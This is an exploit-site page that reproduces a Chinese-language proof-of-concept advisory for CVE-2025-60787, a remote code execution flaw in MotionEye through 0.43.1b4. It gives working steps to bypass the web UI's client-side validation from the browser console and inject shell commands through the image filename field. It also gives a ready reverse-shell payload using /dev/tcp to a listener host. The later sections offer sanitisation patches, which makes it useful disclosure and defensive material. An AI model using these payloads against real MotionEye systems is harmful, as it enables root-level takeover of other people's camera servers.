Sploitus

Exploit for CVE-2025-60787

kitploit · 2026-09-02

Exploit Code

MARKDOWN307 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-PRABHATVERMA47-CVE-2025-60787
# CVE-2025-60787

CVE-2025-60787 Poc - RCE - MotionEye <= 0.43.1b4  
原始链接:https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter

# MotionEye 通过客户端验证绕过实现 RCE

## 摘要

在对运行在 Docker 中的 MotionEye 实例进行安全测试时,发现 Web UI 中的客户端验证可以被绕过。这允许提交任意输入,包括可能触发宿主容器执行命令的载荷。该问题如果被利用,存在远程代码执行(RCE)的风险。

**受影响版本** :包括 0.43.1b4 在内的所有版本  
**补丁状态** :目前尚无补丁。本公告中提供了临时解决方案。  
**项目参考** :https://github.com/motioneye-project/motioneye  
**CWE** :CWE-20、CWE-78、CWE-116  
**CVSS** :3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H  
**CVSS** :7.2/10

* * *

## 环境

  * 目标:运行在 Docker 中的 MotionEye
  * 镜像:`ghcr.io/motioneye-project/motioneye:edge`
  * 暴露端口:`9999` 映射到容器的 `8765`
  * 测试凭据:`admin` / 空密码(默认)



* * *

## 复现步骤

### 1\. 容器搭建

运行以下命令以下载 Docker 镜像并启动容器

root@kitploit:~
    
    
    docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
    

![image](https://assets.kitploit.com/production/public/readmes/52572/3f5582f7e62f6c902f98b7d4a56186edb07a6747366dff5066ed6396b46fccf6/0404e8c5dc63a50622c777e5af35842f3c59c74315a22d130f214060a26dd556-display-v1.webp)

### 2\. 版本验证

root@kitploit:~
    
    
    docker logs motioneye | grep "motionEye server"
    

**结果:** MotionEye 服务器 `0.43.1b4` ![image](https://assets.kitploit.com/production/public/readmes/52572/02d20eb7a142658a32511ee75c8dd4cbe39d93c2cd215df29ed744ec496d324b/1b7042616eb7c07ec8d8d8cc0e6b929b554ca7e4ff47205538b7c229d89055df-display-v1.webp)

### 3\. 文件系统访问

Docker 容器运行后,可以使用以下命令访问容器 shell

root@kitploit:~
    
    
    docker exec -it motioneye /bin/bash
    ls -la /tmp
    

![image](https://assets.kitploit.com/production/public/readmes/52572/2f4656d1bb282401b42e5ff0eddd3c71696c364a07c39fa3b7bf9973de4aad6b/1b2d020ceed2d4e93ce1e5dbf3bd4bc1578a6f62b34b8109bb51733726b936f7-display-v1.webp)

### 4\. 初始访问

访问 Web 界面:  
http://127.0.0.1:9999  
登录:`admin`(空密码)

### 5\. 摄像头设置

添加了示例 RTSP 网络摄像头。  
![image](https://assets.kitploit.com/production/public/readmes/52572/363a56e0095726f06e1876918a975c468cc99eb6c1e695159fe7626850db4473/7eaf7f9ea28be80c6cc97be106900ebd5629cc3ff93753ebf78b4e3319dde485-display-v1.webp)

### 6\. 注入尝试

在“静态图像”>“图像文件名”中输入了恶意执行命令,但遇到了客户端验证错误。

root@kitploit:~
    
    
    $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
    

被客户端验证阻止。  
![image](https://assets.kitploit.com/production/public/readmes/52572/f6a04c9378f9b4707fdbb506763ffc8f16616726189a588a3f47c404d61e5ed4/90beb85e1ffb86a49cb47912bff42a9f4b70ad76ab4f0f0a094ebd2f625f3908-display-v1.webp)

![image](https://assets.kitploit.com/production/public/readmes/52572/e2659bdf23f2ac9b526cb4f041f035bfaa10891efacd7e5b1725e27d4464d013/e9da1103ce12a4eb267f995fb05da74c3060e3bbbe344953aa79f27a8b1631b9-display-v1.webp)

### 7\. 客户端验证发现

负责验证的脚本是:/static/js/main.js?v=0.43.1b4,它引用了 /static/js/ui.js?v=0.43.1b4 来实现验证条件。

文件:`/static/js/main.js?v=0.43.1b4` 引用 `/static/js/ui.js?v=0.43.1b4`

root@kitploit:~
    
    
    function configUiValid() {
        $('div.settings').find('.validator').each(function () { this.validate(); });
        var valid = true;
        $('div.settings input, select').each(function () {
            if (this.invalid) { valid = false; return false; }
        });
        return valid;
    }
    

### 8\. 绕过技术

通过在浏览器控制台中覆盖 **configUiValid** 函数,可以绕过所有验证检查:在浏览器控制台中输入以下代码片段(F12 或 Ctrl+Shift+I)

root@kitploit:~
    
    
    configUiValid = function() { 
        return true; 
    };
    

![image](https://assets.kitploit.com/production/public/readmes/52572/059d01dfd337ea74afee0ae36604b8e6ad9e2203d10f7f9ece77481b6ee03785/571d0c19a2d3cf9b7ee49084b4b04888b8ff8b1b9335f366b4d0eb185969a398-display-v1.webp)

### 9\. 载荷执行

现在可以直接输入载荷而无需任何验证:按如下设置并应用设置

设置:

  * 捕获模式 = 间隔快照
  * 间隔 = 10
  * 图像文件名:



root@kitploit:~
    
    
    $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
    

![image](https://assets.kitploit.com/production/public/readmes/52572/3cfebb1559643fb8900a6259495cc8ed0eff29341456cd8aa0da1970134479eb/be63e3aa4e3b5aa895b1c751eb2fc2173acf2739d9ae552bbc7da85b39a4c0ae-display-v1.webp)

应用 → 以**root 权限** 创建文件。

![image](https://assets.kitploit.com/production/public/readmes/52572/210625f27cb0e5fa66791face8b634c42b31285f525ffaf37504f2c7aaf1df28/6a8d939dc9576a38e84b11e9a196650b911efeb758ef0c62bcd7ed4e720a19b8-display-v1.webp)

* * *

## 影响:将 RCE 武器化

简单的反向 shell 生成:

监听器:

root@kitploit:~
    
    
    nc -lvnp 4444
    

![image](https://assets.kitploit.com/production/public/readmes/52572/b6314872734c0b8493ebc4d0972f4f0db020e132471833fb28cc706aea99f692/3aeb39e443a95b33197849b0219812945c2bbb0a7bc25b433db61aeea06fa7d1-display-v1.webp)

注入的载荷:

root@kitploit:~
    
    
    $(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
    

![image](https://assets.kitploit.com/production/public/readmes/52572/ea185a8e3bd6dcefa89c8808d185883cdd41280f711f345995e586759d7787b8/d409d7f5cd2bb9be9befb9624cd8b96933d24c3b081c99a2300263a40b5e7012-display-v1.webp)

结果:获得远程 shell。

* * *

## 根本原因与流程

MotionEye 存在漏洞,因为它从 Web 仪表板获取用户输入,并直接将其写入 Motion 配置文件,而没有检查危险字符。例如,UI 中的 image_file_name 字段被发送到后端(config.py)并保存到 /etc/motioneye/camera-.conf。当 MotionEye 重启 Motion 服务(motionctl.start)时,Motion 进程会读取此配置文件。如果 picture_filename 字段包含类似 $(touch /tmp/test) 的 shell 语法,Motion 会将其作为真实命令执行,而不是将其视为文件名的一部分。

未经过滤的输入被写入 Motion 配置文件:  
`仪表板 JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion 解析 picture_filename → 执行载荷`

* * *

## 防护措施

### 过滤修复

文件:`/usr/local/lib/python3.13/dist-packages/motioneye/config.py`

root@kitploit:~
    
    
    def sanitize_filename(value):
        # 仅允许字母、数字、%、_、-、/、.
        for ch in value:
            if not (ch.isalnum() or ch in "%-_/."):
                return "%Y-%m-%d/%H-%M-%S"  # 安全回退
        return value
    

![image](https://assets.kitploit.com/production/public/readmes/52572/e6a24e5785d1cbf765ac0e9fffe71a95b2e73e7b657b2aeb8bd3dd42bc2264a6/f12680d73709001c5fdb1cf259d7de8f063b4f3853e23524b71f38b86c8bd5b7-display-v1.webp)

应用过滤:

root@kitploit:~
    
    
    data['picture_filename']  = sanitize_filename(ui['image_file_name'])
    data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])
    

修改前: ![image](https://assets.kitploit.com/production/public/readmes/52572/59ec64c2ff8fd4d27cbf50260340b9b9ba147ec19fbe11679c35a2c7469bb276/118836eec7357f51039b9b4fc92598f50b71babb2fbc623e35614b93e195e1f6-display-v1.webp) 修改后: ![image](https://assets.kitploit.com/production/public/readmes/52572/39b205d01bc145f36b7d45c16b1052a6d385c20b7ce8cccde5b75959e15bc485/912a46a333a5ac1ae944da0b6a6151ca01bdad040d32f6196cfea6a42519565e-display-v1.webp)

* * *

## 替代解决方案

### 步骤 1:运行 Docker

root@kitploit:~
    
    
    docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
    

### 步骤 2:访问容器

root@kitploit:~
    
    
    docker exec -it motioneye /bin/bash
    docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
    docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py
    

### 步骤 3:修改配置

原始代码:

root@kitploit:~
    
    
    on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
    on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
    on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
    on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]
    

替换为:

root@kitploit:~
    
    
    import re
    
    on_event_start  = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
    on_event_end    = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
    on_movie_end    = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
    on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
    

![image](https://assets.kitploit.com/production/public/readmes/52572/b71195e1f03cdcc327f6b3698c6607126033a0172a1d5c26ef87637ac67e9695/6c59b2646ac625ad5b949cce41a431c66d7dd900636e7f1a3e9bd1cdaf4061a0-display-v1.webp)

### 步骤 4:重启

root@kitploit:~
    
    
    docker restart motioneye
    

![image](https://assets.kitploit.com/production/public/readmes/52572/b2bb0e2970877a2400437fdc2db106e35167a8b8521437bf355eb0f254ffe186/2293268c1ccce4a6d8321cfc470ba34f24c41ad0520073cb6b713f17110a0892-display-v1.webp)

* * *

## 替代补丁

在 `motion_camera_ui_to_dict(...)` 内部:

原始代码:

root@kitploit:~
    
    
    data['picture_filename'] = ui['image_file_name']
    data['snapshot_filename'] = ui['image_file_name']
    

替换为:

root@kitploit:~
    
    
    from re import sub
    data['picture_filename']  = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
    data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
    

* * *